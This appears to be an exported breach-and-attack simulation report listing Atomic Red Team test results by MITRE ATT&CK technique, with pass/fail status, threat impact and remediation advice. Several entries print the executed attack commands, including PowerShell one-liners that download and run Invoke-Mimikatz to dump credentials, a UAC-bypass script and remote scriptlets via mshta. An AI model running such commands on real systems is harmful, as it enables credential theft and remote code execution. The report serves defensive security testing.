Remediation	1) Enable Credential Guard (Windows) or PAM vaulting for all privileged accounts. 2) Enable LSA Protection (RunAsPPL=1) to prevent LSASS memory dumping. 3) Enable ASR rule: Block credential stealing from LSASS (GUID 9e6c4e1f). 4) Enforce phishing-resistant MFA (FIDO2/hardware token) for all privileged access.

ERROR

T1003.002 — OS Credential Dumping: Security Account Manager
Credential Access · Critical

Details	Execution error (blocked on an interactive prompt): File C:\Windows\TEMP\sam already exists. Overwrite (Yes/No)?The operation was canceled by the user.
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Audspect Breach & Attack Simulation	Threat Impact	OS Credential Dumping: Security Account Manager (T1003.002): Attacker obtains valid credentials enabling lateral movement, privilege escalation, and persistent access. In BFSI environments this risks access to core banking, SWIFT, or payment switch systems.
	Remediation	1) Enable Credential Guard (Windows) or PAM vaulting for all privileged accounts. 2) Enable LSA Protection (RunAsPPL=1) to prevent LSASS memory dumping. 3) Enable ASR rule: Block credential stealing from LSASS (GUID 9e6c4e1f). 4) Enforce phishing-resistant MFA (FIDO2/hardware token) for all privileged access.

FAIL

T1055.001 — Process Injection: Dynamic-link Library Injection

Privilege Escalation · Critical

Details	Technique executed: Dropping WindowsCoreDeviceInfo.dll in System32 Folder...
Threat impact	Process Injection: Dynamic-link Library Injection (T1055.001): Attacker elevates to SYSTEM or Domain Admin enabling unrestricted access to all local and domain resources including AD, GPO, and privileged service accounts.
Remediation	1) Enforce least-privilege; audit and remove unnecessary local admin memberships. 2) Enable UAC at highest level; require elevation approval for all admin actions. 3) Patch known privilege escalation CVEs — cross-reference CISA KEV catalogue. 4) Monitor for token manipulation events (Windows Event IDs 4672, 4673, 4674).

FAIL

T1059.001 — Command and Scripting Interpreter: PowerShell

Execution · High

Details	Technique executed: IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds
Threat impact	Command and Scripting Interpreter: PowerShell (T1059.001): Attacker executes arbitrary code on the endpoint enabling full control of the compromised system and all data accessible from it.
Remediation	1) Enable PowerShell Script Block Logging and Constrained Language Mode. 2) Implement application allowlisting (AppLocker/WDAC) to restrict code execution. 3) Enable ASR rules targeting script-based and macro-based execution. 4) Monitor for anomalous parent-child process relationships in EDR.

FAIL

T1059.001 — Command and Scripting Interpreter: PowerShell

Execution · High

Details	Technique executed: 2026-06-10T04:17:38.9204434-07:00 INFORMATION This version of SharpHound is compatible with the 5.0.0 Release of BloodHound
Threat impact	Command and Scripting Interpreter: PowerShell (T1059.001): Attacker executes arbitrary code on the endpoint enabling full control of the compromised system and all data accessible from it.
Remediation	1) Enable PowerShell Script Block Logging and Constrained Language Mode. 2) Implement application allowlisting (AppLocker/WDAC) to restrict code execution. 3) Enable ASR rules targeting script-based and macro-based execution. 4) Monitor for anomalous parent-child process relationships in EDR.

FAIL

T1059.001 — Command and Scripting Interpreter: PowerShell

Execution · High

Details	Technique executed: Remote download of SharpHound.ps1 into memory, followed by execution of the script
Threat impact	Command and Scripting Interpreter: PowerShell (T1059.001): Attacker executes arbitrary code on the endpoint enabling full control of the compromised system and all data accessible from it.
Remediation	1) Enable PowerShell Script Block Logging and Constrained Language Mode. 2) Implement application allowlisting (AppLocker/WDAC) to restrict code execution. 3) Enable ASR rules targeting script-based and macro-based execution. 4) Monitor for anomalous parent-child process relationships in EDR.

ERROR

T1059.001 — Command and Scripting Interpreter: PowerShell

Execution · High

Details	Execution error (execution timed out): step exceeded execute timeout of 120s
Threat impact	Command and Scripting Interpreter: PowerShell (T1059.001): Attacker executes arbitrary code on the endpoint enabling full control of the compromised system and all data accessible from it.
Remediation	1) Enable PowerShell Script Block Logging and Constrained Language Mode. 2) Implement application allowlisting (AppLocker/WDAC) to restrict code execution. 3) Enable ASR rules targeting script-based and macro-based execution. 4) Monitor for anomalous parent-child process relationships in EDR.

FAIL

T1059.001 — Command and Scripting Interpreter: PowerShell

Atomic Red Team â€” Selective Techniques

Execution · High

Details

Technique executed: IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass -Payload 'C:\Windows\System32\cmd.exe'

Threat impact

Command and Scripting Interpreter: PowerShell (T1059.001): Attacker executes arbitrary code on the endpoint enabling full control of the compromised system and all data accessible from it.

Remediation

- 1) Enable PowerShell Script Block Logging and Constrained Language Mode.
- 2) Implement application allowlisting (AppLocker/WDAC) to restrict code execution.
- 3) Enable ASR rules targeting script-based and macro-based execution.
- 4) Monitor for anomalous parent-child process relationships in EDR.

FAIL

T1059.001 — Command and Scripting Interpreter: PowerShell

Execution · High

Details

Technique executed: =New-Object -ComObject MsXml2.ServerXmlHttp;.Open('GET','https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.001/src/test.ps1',False);.Send();IEX .ResponseText

Threat impact

Command and Scripting Interpreter: PowerShell (T1059.001): Attacker executes arbitrary code on the endpoint enabling full control of the compromised system and all data accessible from it.

Remediation

- 1) Enable PowerShell Script Block Logging and Constrained Language Mode.
- 2) Implement application allowlisting (AppLocker/WDAC) to restrict code execution.
- 3) Enable ASR rules targeting script-based and macro-based execution.
- 4) Monitor for anomalous parent-child process relationships in EDR.

ERROR

T1059.001 — Command and Scripting Interpreter: PowerShell

Execution · High

Details

Execution error (required binary unavailable):
 "\"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe\"" is not recognized as an internal or external command,

Threat impact

Command and Scripting Interpreter: PowerShell (T1059.001): Attacker executes arbitrary code on the endpoint enabling full control of the compromised system and all data accessible from it.

Remediation

- 1) Enable PowerShell Script Block Logging and Constrained Language Mode.
- 2) Implement application allowlisting (AppLocker/WDAC) to restrict code execution.
- 3) Enable ASR rules targeting script-based and macro-based execution.
- 4) Monitor for anomalous parent-child process relationships in EDR.

ERROR

T1059.001 — Command and Scripting Interpreter: PowerShell

Execution · High

Details

Execution error (required binary unavailable): "\"mshta.exe javascript:a=GetObject('script:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.001/src/mshta.sct').Exec();close()\"" is not recognized as an internal or external command,

Threat impact

Command and Scripting Interpreter: PowerShell (T1059.001): Attacker executes arbitrary code on the endpoint enabling full control of the compromised system and all data accessible from it.

Remediation

- 1) Enable PowerShell Script Block Logging and Constrained Language Mode.
- 2) Implement application allowlisting (AppLocker/WDAC) to restrict code execution.
- 3) Enable ASR rules targeting script-based and macro-based execution.
- 4) Monitor for anomalous parent-child process relationships in EDR.

FAIL

T1059.001 — Command and Scripting Interpreter: PowerShell

Execution · High

Details

Technique executed: The operation completed successfully.

Threat impact

Command and Scripting Interpreter: PowerShell (T1059.001): Attacker executes arbitrary code on the endpoint enabling full control of the compromised system and all data accessible from it.

Remediation

- 1) Enable PowerShell Script Block Logging and Constrained Language Mode.
- 2) Implement application allowlisting (AppLocker/WDAC) to restrict code execution.
- 3) Enable ASR rules targeting script-based and macro-based execution.
- 4) Monitor for anomalous parent-child process relationships in EDR.

FAIL

T1059.001 — Command and Scripting Interpreter: PowerShell

Atomic Red Team â€” Selective Techniques

Execution · High

Details	Technique executed: Stream Data Executed
Threat impact	Command and Scripting Interpreter: PowerShell (T1059.001): Attacker executes arbitrary code on the endpoint enabling full control of the compromised system and all data accessible from it.
Remediation	1) Enable PowerShell Script Block Logging and Constrained Language Mode. 2) Implement application allowlisting (AppLocker/WDAC) to restrict code execution. 3) Enable ASR rules targeting script-based and macro-based execution. 4) Monitor for anomalous parent-child process relationships in EDR.

PASS

T1059.001 — Command and Scripting Interpreter: PowerShell

Execution · High

Details	Security control blocked the technique (access denied): Source IPV6Address Bytes Time(ms) Destination IPV4Address
Threat impact	Command and Scripting Interpreter: PowerShell (T1059.001): Attacker executes arbitrary code on the endpoint enabling full control of the compromised system and all data accessible from it.
Remediation	Control validated: Command and Scripting Interpreter: PowerShell (T1059.001) was blocked. Maintain current security posture and continue monitoring.

ERROR

T1059.001 — Command and Scripting Interpreter: PowerShell

Execution · High

Details	Execution error (exit 1): Out-ATHPowerShellCommandLineParameter : The term 'Out-ATHPowerShellCommandLineParameter' is not recognized as the name
Threat impact	Command and Scripting Interpreter: PowerShell (T1059.001): Attacker executes arbitrary code on the endpoint enabling full control of the compromised system and all data accessible from it.
Remediation	1) Enable PowerShell Script Block Logging and Constrained Language Mode. 2) Implement application allowlisting (AppLocker/WDAC) to restrict code execution. 3) Enable ASR rules targeting script-based and macro-based execution. 4) Monitor for anomalous parent-child process relationships in EDR.

ERROR

T1059.001 — Command and Scripting Interpreter: PowerShell

Execution · High

Details	Execution error (exit 1): Out-ATHPowerShellCommandLineParameter : The term 'Out-ATHPowerShellCommandLineParameter' is not recognized as the name
Threat impact	Command and Scripting Interpreter: PowerShell (T1059.001): Attacker executes arbitrary code on the endpoint enabling full control of the compromised system and all data accessible from it.
Remediation	1) Enable PowerShell Script Block Logging and Constrained Language Mode. 2) Implement application allowlisting (AppLocker/WDAC) to restrict code execution. 3) Enable ASR rules targeting script-based and macro-based execution. 4) Monitor for anomalous parent-child process relationships in EDR.

ERROR

T1059.001 — Command and Scripting Interpreter: PowerShell

Execution · High

Details	Execution error (exit 1): Out-ATHPowerShellCommandLineParameter : The term 'Out-ATHPowerShellCommandLineParameter' is not recognized as the name
Threat impact	Command and Scripting Interpreter: PowerShell (T1059.001): Attacker executes arbitrary code on the endpoint enabling full control of the compromised system and all data accessible from it.
Remediation	1) Enable PowerShell Script Block Logging and Constrained Language Mode. 2) Implement application allowlisting (AppLocker/WDAC) to restrict code execution. 3) Enable ASR rules targeting script-based and macro-based execution. 4) Monitor for anomalous parent-child process relationships in EDR.

ERROR

T1059.001 — Command and Scripting Interpreter: PowerShell

Execution · High

Details	Execution error (exit 1): Out-ATHPowerShellCommandLineParameter : The term 'Out-ATHPowerShellCommandLineParameter' is not recognized as the name
Threat impact	Command and Scripting Interpreter: PowerShell (T1059.001): Attacker executes arbitrary code on the endpoint enabling full control of the compromised system and all data accessible from it.
Remediation	1) Enable PowerShell Script Block Logging and Constrained Language Mode. 2) Implement application allowlisting (AppLocker/WDAC) to restrict code execution. 3) Enable ASR rules targeting script-based and macro-based execution.

FAIL**T1059.001 — Command and Scripting Interpreter: PowerShell**

Execution · High

Details	Technique executed: Hello, from PowerShell!
Threat impact	Command and Scripting Interpreter: PowerShell (T1059.001): Attacker executes arbitrary code on the endpoint enabling full control of the compromised system and all data accessible from it.
Remediation	1) Enable PowerShell Script Block Logging and Constrained Language Mode. 2) Implement application allowlisting (AppLocker/WDAC) to restrict code execution. 3) Enable ASR rules targeting script-based and macro-based execution. 4) Monitor for anomalous parent-child process relationships in EDR.

FAIL**T1059.001 — Command and Scripting Interpreter: PowerShell**

Execution · High

Details	Technique executed: function Add-Persistence { Write-Host Pretending to invoke Add-Persistence }
Threat impact	Command and Scripting Interpreter: PowerShell (T1059.001): Attacker executes arbitrary code on the endpoint enabling full control of the compromised system and all data accessible from it.
Remediation	1) Enable PowerShell Script Block Logging and Constrained Language Mode. 2) Implement application allowlisting (AppLocker/WDAC) to restrict code execution. 3) Enable ASR rules targeting script-based and macro-based execution. 4) Monitor for anomalous parent-child process relationships in EDR.

FAIL**T1059.001 — Command and Scripting Interpreter: PowerShell**

Execution · High

Details	Technique executed: Check
Threat impact	Command and Scripting Interpreter: PowerShell (T1059.001): Attacker executes arbitrary code on the endpoint enabling full control of the compromised system and all data accessible from it.
Remediation	1) Enable PowerShell Script Block Logging and Constrained Language Mode. 2) Implement application allowlisting (AppLocker/WDAC) to restrict code execution. 3) Enable ASR rules targeting script-based and macro-based execution. 4) Monitor for anomalous parent-child process relationships in EDR.

FAIL**T1059.001 — Command and Scripting Interpreter: PowerShell**

Execution · High

Details	Technique executed: nt authority\system
Threat impact	Command and Scripting Interpreter: PowerShell (T1059.001): Attacker executes arbitrary code on the endpoint enabling full control of the compromised system and all data accessible from it.
Remediation	1) Enable PowerShell Script Block Logging and Constrained Language Mode. 2) Implement application allowlisting (AppLocker/WDAC) to restrict code execution. 3) Enable ASR rules targeting script-based and macro-based execution. 4) Monitor for anomalous parent-child process relationships in EDR.

ERROR**T1059.003 — Command and Scripting Interpreter: Windows Command Shell**

Execution · High

Details	Execution error (exit 1): The filename, directory name, or volume label syntax is incorrect.
Threat impact	Command and Scripting Interpreter: Windows Command Shell (T1059.003): Attacker executes arbitrary code on the endpoint enabling full control of the compromised system and all data accessible from it.
Remediation	1) Enable PowerShell Script Block Logging and Constrained Language Mode. 2) Implement application allowlisting (AppLocker/WDAC) to restrict code execution. 3) Enable ASR rules targeting script-based and macro-based execution. 4) Monitor for anomalous parent-child process relationships in EDR.

FAIL**T1059.003 — Command and Scripting Interpreter: Windows Command Shell**

Execution · High

Details	Technique executed: Hello, from CMD!
Threat impact	Command and Scripting Interpreter: Windows Command Shell (T1059.003): Attacker executes arbitrary code on the endpoint enabling full control of the compromised system and all data accessible from it.
Remediation	1) Enable PowerShell Script Block Logging and Constrained Language Mode. 2) Implement application allowlisting (AppLocker/WDAC) to restrict code execution. 3) Enable ASR rules targeting script-based and macro-based execution. 4) Monitor for anomalous parent-child process relationships in EDR.

ERROR

T1059.003 — Command and Scripting Interpreter: Windows Command Shell

Execution · High

Details

Execution error (execution timed out): step exceeded execute timeout of 120s

Threat impact

Command and Scripting Interpreter: Windows Command Shell (T1059.003): Attacker executes arbitrary code on the endpoint enabling full control of the compromised system and all data accessible from it.

Remediation

- 1) Enable PowerShell Script Block Logging and Constrained Language Mode.
- 2) Implement application allowlisting (AppLocker/WDAC) to restrict code execution.
- 3) Enable ASR rules targeting script-based and macro-based execution.
- 4) Monitor for anomalous parent-child process relationships in EDR.

FAIL

T1082 — System Information Discovery

Discovery · Medium

Details

Technique executed: Host Name: WIN-MHQITQ23L3Q

Threat impact

System Information Discovery (T1082): Technique executed against the endpoint. Review result and apply recommended controls.

Remediation

- 1) Review and harden controls for System Information Discovery (T1082) based on vendor hardening guidance.
- 2) Enable relevant audit logging and forward to SIEM for correlation.
- 3) Apply CIS Benchmark or vendor-recommended hardening for the affected component.
- 4) Schedule follow-up simulation to verify remediation effectiveness.

FAIL

T1082 — System Information Discovery

Discovery · Medium

Details

Technique executed: WIN-MHQITQ23L3Q

Threat impact

System Information Discovery (T1082): Technique executed against the endpoint. Review result and apply recommended controls.

Remediation

- 1) Review and harden controls for System Information Discovery (T1082) based on vendor hardening guidance.
- 2) Enable relevant audit logging and forward to SIEM for correlation.
- 3) Apply CIS Benchmark or vendor-recommended hardening for the affected component.
- 4) Schedule follow-up simulation to verify remediation effectiveness.

FAIL

T1082 — System Information Discovery

Discovery · Medium

Details

Technique executed: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography

Threat impact

System Information Discovery (T1082): Technique executed against the endpoint. Review result and apply recommended controls.

Remediation

- 1) Review and harden controls for System Information Discovery (T1082) based on vendor hardening guidance.
- 2) Enable relevant audit logging and forward to SIEM for correlation.
- 3) Apply CIS Benchmark or vendor-recommended hardening for the affected component.
- 4) Schedule follow-up simulation to verify remediation effectiveness.

FAIL

T1082 — System Information Discovery

Discovery · Medium

Details

Technique executed: ALLUSERSPROFILE=C:\ProgramData

Threat impact

System Information Discovery (T1082): Technique executed against the endpoint. Review result and apply recommended controls.

Remediation

- 1) Review and harden controls for System Information Discovery (T1082) based on vendor hardening guidance.
- 2) Enable relevant audit logging and forward to SIEM for correlation.
- 3) Apply CIS Benchmark or vendor-recommended hardening for the affected component.
- 4) Schedule follow-up simulation to verify remediation effectiveness.

PASS

T1082 — System Information Discovery

Discovery · Medium

Details

Security control blocked the technique (policy block): iex : At line:1 char:1

Threat impact

System Information Discovery (T1082): Technique executed against the endpoint. Review result and apply recommended controls.

Remediation

Control validated: System Information Discovery (T1082) was blocked. Maintain current security posture and continue monitoring.

PASS

T1082 — System Information Discovery

Atomic Red Team " Selective Techniques

Discovery · Medium

Details	Security control blocked the technique (policy block): iex : At line:1 char:1
Threat impact	System Information Discovery (T1082): Technique executed against the endpoint. Review result and apply recommended controls.
Remediation	Control validated: System Information Discovery (T1082) was blocked. Maintain current security posture and continue monitoring.

PASS

T1082 — System Information Discovery

Discovery · Medium

Details	Security control blocked the technique (policy block): iex : At line:1 char:1
Threat impact	System Information Discovery (T1082): Technique executed against the endpoint. Review result and apply recommended controls.
Remediation	Control validated: System Information Discovery (T1082) was blocked. Maintain current security posture and continue monitoring.

PASS

T1082 — System Information Discovery

Discovery · Medium

Details	Security control blocked the technique (policy block): iex : At line:1 char:1
Threat impact	System Information Discovery (T1082): Technique executed against the endpoint. Review result and apply recommended controls.
Remediation	Control validated: System Information Discovery (T1082) was blocked. Maintain current security posture and continue monitoring.

PASS

T1082 — System Information Discovery

Discovery · Medium

Details	Security control blocked the technique (policy block): iex : At line:1 char:1
Threat impact	System Information Discovery (T1082): Technique executed against the endpoint. Review result and apply recommended controls.
Remediation	Control validated: System Information Discovery (T1082) was blocked. Maintain current security posture and continue monitoring.

PASS

T1082 — System Information Discovery

Discovery · Medium

Details	Security control blocked the technique (policy block): iex : At line:1 char:1
Threat impact	System Information Discovery (T1082): Technique executed against the endpoint. Review result and apply recommended controls.
Remediation	Control validated: System Information Discovery (T1082) was blocked. Maintain current security posture and continue monitoring.

PASS

T1082 — System Information Discovery

Discovery · Medium

Details	Security control blocked the technique (policy block): iex : At line:1 char:1
Threat impact	System Information Discovery (T1082): Technique executed against the endpoint. Review result and apply recommended controls.
Remediation	Control validated: System Information Discovery (T1082) was blocked. Maintain current security posture and continue monitoring.

PASS

T1082 — System Information Discovery

Discovery · Medium

Details	Security control blocked the technique (policy block): iex : At line:1 char:1
Threat impact	System Information Discovery (T1082): Technique executed against the endpoint. Review result and apply recommended controls.
Remediation	Control validated: System Information Discovery (T1082) was blocked. Maintain current security posture and continue monitoring.

PASS

T1082 — System Information Discovery

Discovery · Medium

Details	Security control blocked the technique (policy block): iex : At line:1 char:1
Threat impact	System Information Discovery (T1082): Technique executed against the endpoint. Review result and apply recommended controls.

ERROR

T1082 — System Information Discovery

Discovery · Medium

Details	Execution error (exit -1): step timed out or was cancelled
Threat impact	System Information Discovery (T1082): Technique executed against the endpoint. Review result and apply recommended controls.
Remediation	1) Review and harden controls for System Information Discovery (T1082) based on vendor hardening guidance. 2) Enable relevant audit logging and forward to SIEM for correlation. 3) Apply CIS Benchmark or vendor-recommended hardening for the affected component. 4) Schedule follow-up simulation to verify remediation effectiveness.

FAIL

T1082 — System Information Discovery

Discovery · Medium

Details	Technique executed: Name
Threat impact	System Information Discovery (T1082): Technique executed against the endpoint. Review result and apply recommended controls.
Remediation	1) Review and harden controls for System Information Discovery (T1082) based on vendor hardening guidance. 2) Enable relevant audit logging and forward to SIEM for correlation. 3) Apply CIS Benchmark or vendor-recommended hardening for the affected component. 4) Schedule follow-up simulation to verify remediation effectiveness.

ERROR

T1082 — System Information Discovery

Discovery · Medium

Details	Execution error (execution timed out): step exceeded execute timeout of 20s
Threat impact	System Information Discovery (T1082): Technique executed against the endpoint. Review result and apply recommended controls.
Remediation	1) Review and harden controls for System Information Discovery (T1082) based on vendor hardening guidance. 2) Enable relevant audit logging and forward to SIEM for correlation. 3) Apply CIS Benchmark or vendor-recommended hardening for the affected component. 4) Schedule follow-up simulation to verify remediation effectiveness.

ERROR

T1082 — System Information Discovery

Discovery · Medium

Details	Execution error (malformed atomic content): ERROR: Invalid syntax.
Threat impact	System Information Discovery (T1082): Technique executed against the endpoint. Review result and apply recommended controls.
Remediation	1) Review and harden controls for System Information Discovery (T1082) based on vendor hardening guidance. 2) Enable relevant audit logging and forward to SIEM for correlation. 3) Apply CIS Benchmark or vendor-recommended hardening for the affected component. 4) Schedule follow-up simulation to verify remediation effectiveness.

FAIL

T1082 — System Information Discovery

Discovery · Medium

Details	Technique executed: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System
Threat impact	System Information Discovery (T1082): Technique executed against the endpoint. Review result and apply recommended controls.
Remediation	1) Review and harden controls for System Information Discovery (T1082) based on vendor hardening guidance. 2) Enable relevant audit logging and forward to SIEM for correlation. 3) Apply CIS Benchmark or vendor-recommended hardening for the affected component. 4) Schedule follow-up simulation to verify remediation effectiveness.

FAIL

T1082 — System Information Discovery

Atomic Red Team â€” Selective Techniques

Discovery · Medium

Details	Technique executed: technique ran to completion
Threat impact	System Information Discovery (T1082): Technique executed against the endpoint. Review result and apply recommended controls.
Remediation	1) Review and harden controls for System Information Discovery (T1082) based on vendor hardening guidance. 2) Enable relevant audit logging and forward to SIEM for correlation. 3) Apply CIS Benchmark or vendor-recommended hardening for the affected component. 4) Schedule follow-up simulation to verify remediation effectiveness.

FAIL

T1082 — System Information Discovery

Discovery · Medium

Details	Technique executed: Microsoft Windows [Version 10.0.17763.3650]
Threat impact	System Information Discovery (T1082): Technique executed against the endpoint. Review result and apply recommended controls.
Remediation	1) Review and harden controls for System Information Discovery (T1082) based on vendor hardening guidance. 2) Enable relevant audit logging and forward to SIEM for correlation. 3) Apply CIS Benchmark or vendor-recommended hardening for the affected component. 4) Schedule follow-up simulation to verify remediation effectiveness.

ERROR

T1082 — System Information Discovery

Discovery · Medium

Details	Execution error (exit 1): vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool
Threat impact	System Information Discovery (T1082): Technique executed against the endpoint. Review result and apply recommended controls.
Remediation	1) Review and harden controls for System Information Discovery (T1082) based on vendor hardening guidance. 2) Enable relevant audit logging and forward to SIEM for correlation. 3) Apply CIS Benchmark or vendor-recommended hardening for the affected component. 4) Schedule follow-up simulation to verify remediation effectiveness.

FAIL

T1082 — System Information Discovery

Discovery · Medium

Details	Technique executed: Get-Culture Format-List Out-File -FilePath C:\Windows\TEMP\a.txt
Threat impact	System Information Discovery (T1082): Technique executed against the endpoint. Review result and apply recommended controls.
Remediation	1) Review and harden controls for System Information Discovery (T1082) based on vendor hardening guidance. 2) Enable relevant audit logging and forward to SIEM for correlation. 3) Apply CIS Benchmark or vendor-recommended hardening for the affected component. 4) Schedule follow-up simulation to verify remediation effectiveness.

FAIL

T1082 — System Information Discovery

Discovery · Medium

Details	Technique executed: gdr -PSProvider 'FileSystem'
Threat impact	System Information Discovery (T1082): Technique executed against the endpoint. Review result and apply recommended controls.
Remediation	1) Review and harden controls for System Information Discovery (T1082) based on vendor hardening guidance. 2) Enable relevant audit logging and forward to SIEM for correlation. 3) Apply CIS Benchmark or vendor-recommended hardening for the affected component. 4) Schedule follow-up simulation to verify remediation effectiveness.

ERROR

T1082 — System Information Discovery

Discovery · Medium

Details	Execution error (malformed atomic content): ERROR: Invalid syntax.
Threat impact	System Information Discovery (T1082): Technique executed against the endpoint. Review result and apply recommended controls.

- 1) Review and harden controls for System Information Discovery (T1082) based on vendor hardening guidance.
- 2) Enable relevant audit logging and forward to SIEM for correlation.
- 3) Apply CIS Benchmark or vendor-recommended hardening for the affected component.
- 4) Schedule follow-up simulation to verify remediation effectiveness.

T1082 — System Information Discovery

Discovery · Medium

Details Execution error (malformed atomic content): ERROR: Invalid syntax.

Threat impact	System Information Discovery (T1082): Technique executed against the endpoint. Review result and apply recommended controls.
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Remediation	1) Review and harden controls for System Information Discovery (T1082) based on vendor hardening guidance. 2) Enable relevant audit logging and forward to SIEM for correlation. 3) Apply CIS Benchmark or vendor-recommended hardening for the affected component. 4) Schedule follow-up simulation to verify remediation effectiveness.	
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T1087.001 — Account Discovery: Local Account

Discovery · Medium

Details Execution error (exit 1): User accounts for \\\

Threat impact	Account Discovery: Local Account (T1087.001): Technique executed against the endpoint. Review result and apply recommended controls.
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Remediation	1) Review and harden controls for Account Discovery: Local Account (T1087.001) based on vendor hardening guidance. 2) Enable relevant audit logging and forward to SIEM for correlation. 3) Apply CIS Benchmark or vendor-recommended hardening for the affected component. 4) Schedule follow-up simulation to verify remediation effectiveness.
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T1087.001 — Account Discovery: Local Account

Discovery · Medium

Details	Security control blocked the technique (antivirus): User accounts for W
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Threat impact	Account Discovery: Local Account (T1087.001): Technique executed against the endpoint. Review result and apply recommended controls.
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Remediation	Control validated: Account Discovery: Local Account (T1087.001) was blocked. Maintain current security posture and continue monitoring.
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T1087.001 — Account Discovery: Local Account

Discovery · Medium

Details	Execution error (exit 1): USERNAME	SESSIONNAME	ID	STATE	IDLE TIME	LOGON TIME
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Threat impact	Account Discovery: Local Account (T1087.001): Technique executed against the endpoint. Review result and apply recommended controls.
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Remediation	1) Review and harden controls for Account Discovery: Local Account (T1087.001) based on vendor hardening guidance. 2) Enable relevant audit logging and forward to SIEM for correlation. 3) Apply CIS Benchmark or vendor-recommended hardening for the affected component. 4) Schedule follow-up simulation to verify remediation effectiveness.
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T1087.001 — Account Discovery: Local Account

Discovery · Medium

Details	Execution error (required binary unavailable): " <code>C:\Windows\TEMP\bas-18b7b40d9932604c-228056807\step-81\plink.exe</code> " is not recognized as an internal or external command.
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Threat impact	Account Discovery: Local Account (T1087.001): Technique executed against the endpoint. Review result and apply recommended controls.
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Remediation	1) Review and harden controls for Account Discovery: Local Account (T1087.001) based on vendor hardening guidance. 2) Enable relevant audit logging and forward to SIEM for correlation. 3) Apply CIS Benchmark or vendor-recommended hardening for the affected component. 4) Schedule follow-up simulation to verify remediation effectiveness.
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Details

Execution error (exit 2): The request will be processed at a domain controller for domain WORKGROUP.

Threat impact

Account Discovery: Domain Account (T1087.002): Technique executed against the endpoint. Review result and apply recommended controls.

Remediation

- 1) Review and harden controls for Account Discovery: Domain Account (T1087.002) based on vendor hardening guidance.
- 2) Enable relevant audit logging and forward to SIEM for correlation.
- 3) Apply CIS Benchmark or vendor-recommended hardening for the affected component.
- 4) Schedule follow-up simulation to verify remediation effectiveness.

Details

Execution error (required binary unavailable): The request will be processed at a domain controller for domain WORKGROUP.

Threat impact

Account Discovery: Domain Account (T1087.002): Technique executed against the endpoint. Review result and apply recommended controls.

Remediation

- 1) Review and harden controls for Account Discovery: Domain Account (T1087.002) based on vendor hardening guidance.
- 2) Enable relevant audit logging and forward to SIEM for correlation.
- 3) Apply CIS Benchmark or vendor-recommended hardening for the affected component.
- 4) Schedule follow-up simulation to verify remediation effectiveness.

Details

Execution error (exit 1): USERNAME SESSIONNAME ID STATE IDLE TIME LOGON TIME

Threat impact

Account Discovery: Domain Account (T1087.002): Technique executed against the endpoint. Review result and apply recommended controls.

Remediation

- 1) Review and harden controls for Account Discovery: Domain Account (T1087.002) based on vendor hardening guidance.
- 2) Enable relevant audit logging and forward to SIEM for correlation.
- 3) Apply CIS Benchmark or vendor-recommended hardening for the affected component.
- 4) Schedule follow-up simulation to verify remediation effectiveness.

Details

Execution error (exit 2): The request will be processed at a domain controller for domain WORKGROUP.

Threat impact

Account Discovery: Domain Account (T1087.002): Technique executed against the endpoint. Review result and apply recommended controls.

Remediation

- 1) Review and harden controls for Account Discovery: Domain Account (T1087.002) based on vendor hardening guidance.
- 2) Enable relevant audit logging and forward to SIEM for correlation.
- 3) Apply CIS Benchmark or vendor-recommended hardening for the affected component.
- 4) Schedule follow-up simulation to verify remediation effectiveness.

Details

Execution error (required binary unavailable): Get-ADObject : The term 'Get-ADObject' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again.

Threat impact

Account Discovery: Domain Account (T1087.002): Technique executed against the endpoint. Review result and apply recommended controls.

Remediation

- 1) Review and harden controls for Account Discovery: Domain Account (T1087.002) based on vendor hardening guidance.
- 2) Enable relevant audit logging and forward to SIEM for correlation.
- 3) Apply CIS Benchmark or vendor-recommended hardening for the affected component.
- 4) Schedule follow-up simulation to verify remediation effectiveness.

PASS**T1087.002 — Account Discovery: Domain Account**

Atomic Red Team â€” Selective Techniques

Discovery · Medium

Details	Security control blocked the technique (policy block): IEX : At line:1 char:1
Threat impact	Account Discovery: Domain Account (T1087.002): Technique executed against the endpoint. Review result and apply recommended controls.
Remediation	Control validated: Account Discovery: Domain Account (T1087.002) was blocked. Maintain current security posture and continue monitoring.

ERROR**T1087.002 — Account Discovery: Domain Account**

Discovery · Medium

Details	Execution error (exit 1): Exception calling "FindAll" with "0" argument(s): "The specified domain either does not exist or could not be contacted."
Threat impact	Account Discovery: Domain Account (T1087.002): Technique executed against the endpoint. Review result and apply recommended controls.
Remediation	1) Review and harden controls for Account Discovery: Domain Account (T1087.002) based on vendor hardening guidance. 2) Enable relevant audit logging and forward to SIEM for correlation. 3) Apply CIS Benchmark or vendor-recommended hardening for the affected component. 4) Schedule follow-up simulation to verify remediation effectiveness.

ERROR**T1087.002 — Account Discovery: Domain Account**

Discovery · Medium

Details	Execution error (exit 1): Exception calling "FindAll" with "0" argument(s): "The specified domain either does not exist or could not be contacted."
Threat impact	Account Discovery: Domain Account (T1087.002): Technique executed against the endpoint. Review result and apply recommended controls.
Remediation	1) Review and harden controls for Account Discovery: Domain Account (T1087.002) based on vendor hardening guidance. 2) Enable relevant audit logging and forward to SIEM for correlation. 3) Apply CIS Benchmark or vendor-recommended hardening for the affected component. 4) Schedule follow-up simulation to verify remediation effectiveness.

FAIL**T1087.002 — Account Discovery: Domain Account**

Discovery · Medium

Details	Technique executed: technique ran to completion
Threat impact	Account Discovery: Domain Account (T1087.002): Technique executed against the endpoint. Review result and apply recommended controls.
Remediation	1) Review and harden controls for Account Discovery: Domain Account (T1087.002) based on vendor hardening guidance. 2) Enable relevant audit logging and forward to SIEM for correlation. 3) Apply CIS Benchmark or vendor-recommended hardening for the affected component. 4) Schedule follow-up simulation to verify remediation effectiveness.

PASS**T1087.002 — Account Discovery: Domain Account**

Discovery · Medium

Details	Security control blocked the technique (policy block): iex : At line:1 char:1
